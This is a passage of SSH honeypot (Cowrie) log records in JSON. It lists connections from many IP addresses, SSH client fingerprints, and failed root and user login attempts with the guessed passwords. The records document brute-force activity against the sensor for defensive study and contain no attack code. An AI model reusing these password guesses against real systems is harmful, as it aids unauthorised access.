56-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:16.491671Z","src_ip":"51.250.105.222","session":"bb39af9732ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"winner","message":"login attempt [root/winner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:16.874137Z","src_ip":"51.250.105.222","session":"bb39af9732ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:18.023527Z","src_ip":"51.250.105.222","session":"bb39af9732ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":47212,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb3da72f2aae","protocol":"ssh","message":"New connection: 2.57.121.25:47212 (10.17.0.5:22) [session: cb3da72f2aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:20.018217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:20.023592Z","src_ip":"2.57.121.25","session":"cb3da72f2aae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:20.128124Z","src_ip":"2.57.121.25","session":"cb3da72f2aae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14071976","message":"login attempt [user/14071976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:20.615146Z","src_ip":"2.57.121.25","session":"cb3da72f2aae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140688","message":"login attempt [user/140688] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:21.722420Z","src_ip":"2.57.121.25","session":"cb3da72f2aae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140483","message":"login attempt [user/140483] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:22.830160Z","src_ip":"2.57.121.25","session":"cb3da72f2aae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14021975","message":"login attempt [user/14021975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:23.942812Z","src_ip":"2.57.121.25","session":"cb3da72f2aae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140189","message":"login attempt [user/140189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:25.051205Z","src_ip":"2.57.121.25","session":"cb3da72f2aae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:26.158944Z","src_ip":"2.57.121.25","session":"cb3da72f2aae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":35716,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd48e6872b02","protocol":"ssh","message":"New connection: 157.230.190.155:35716 (10.17.0.5:22) [session: cd48e6872b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:28.506301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:28.515271Z","src_ip":"157.230.190.155","session":"cd48e6872b02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:28.520437Z","src_ip":"157.230.190.155","session":"cd48e6872b02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd","message":"login attempt [root/1234abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:28.574804Z","src_ip":"157.230.190.155","session":"cd48e6872b02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:29.583852Z","src_ip":"157.230.190.155","session":"cd48e6872b02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":39096,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd1de2f2afda","protocol":"ssh","message":"New connection: 89.127.197.59:39096 (10.17.0.5:22) [session: cd1de2f2afda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:31.528690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:31.533268Z","src_ip":"89.127.197.59","session":"cd1de2f2afda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:31.656392Z","src_ip":"89.127.197.59","session":"cd1de2f2afda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx#","message":"login attempt [root/1qaz2wsx#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:32.178714Z","src_ip":"89.127.197.59","session":"cd1de2f2afda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:33.305073Z","src_ip":"89.127.197.59","session":"cd1de2f2afda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":54240,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ba6eb7e732f","protocol":"ssh","message":"New connection: 103.249.84.242:54240 (10.17.0.5:22) [session: 1ba6eb7e732f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:52.400377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:52.412412Z","src_ip":"103.249.84.242","session":"1ba6eb7e732f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:52.643097Z","src_ip":"103.249.84.242","session":"1ba6eb7e732f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flash","message":"login attempt [root/flash] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:53.596073Z","src_ip":"103.249.84.242","session":"1ba6eb7e732f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:54.829274Z","src_ip":"103.249.84.242","session":"1ba6eb7e732f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":36070,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0e3437db722","protocol":"ssh","message":"New connection: 189.203.163.10:36070 (10.17.0.5:22) [session: d0e3437db722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:10.806108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:10.810942Z","src_ip":"189.203.163.10","session":"d0e3437db722","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:10.874308Z","src_ip":"189.203.163.10","session":"d0e3437db722","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saitoh","message":"login attempt [root/saitoh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:11.158707Z","src_ip":"189.203.163.10","session":"d0e3437db722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:12.225327Z","src_ip":"189.203.163.10","session":"d0e3437db722","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":53432,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc4fb8c44f94","protocol":"ssh","message":"New connection: 43.134.71.92:53432 (10.17.0.5:22) [session: cc4fb8c44f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:23.203956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:23.212520Z","src_ip":"43.134.71.92","session":"cc4fb8c44f94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:23.449530Z","src_ip":"43.134.71.92","session":"cc4fb8c44f94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":44846,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5db079a4ff2","protocol":"ssh","message":"New connection: 45.119.212.99:44846 (10.17.0.5:22) [session: f5db079a4ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:23.798128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:23.808461Z","src_ip":"45.119.212.99","session":"f5db079a4ff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:24.133475Z","src_ip":"45.119.212.99","session":"f5db079a4ff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":36108,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4125438d0a6","protocol":"ssh","message":"New connection: 194.59.206.2:36108 (10.17.0.5:22) [session: a4125438d0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:24.272070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:24.276691Z","src_ip":"194.59.206.2","session":"a4125438d0a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:24.366803Z","src_ip":"194.59.206.2","session":"a4125438d0a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lager","message":"login attempt [root/lager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:24.431993Z","src_ip":"43.134.71.92","session":"cc4fb8c44f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:24.463136Z","src_ip":"194.59.206.2","session":"a4125438d0a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2063","message":"login attempt [root/2063] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:25.337550Z","src_ip":"45.119.212.99","session":"f5db079a4ff2","protocol":"ssh"}
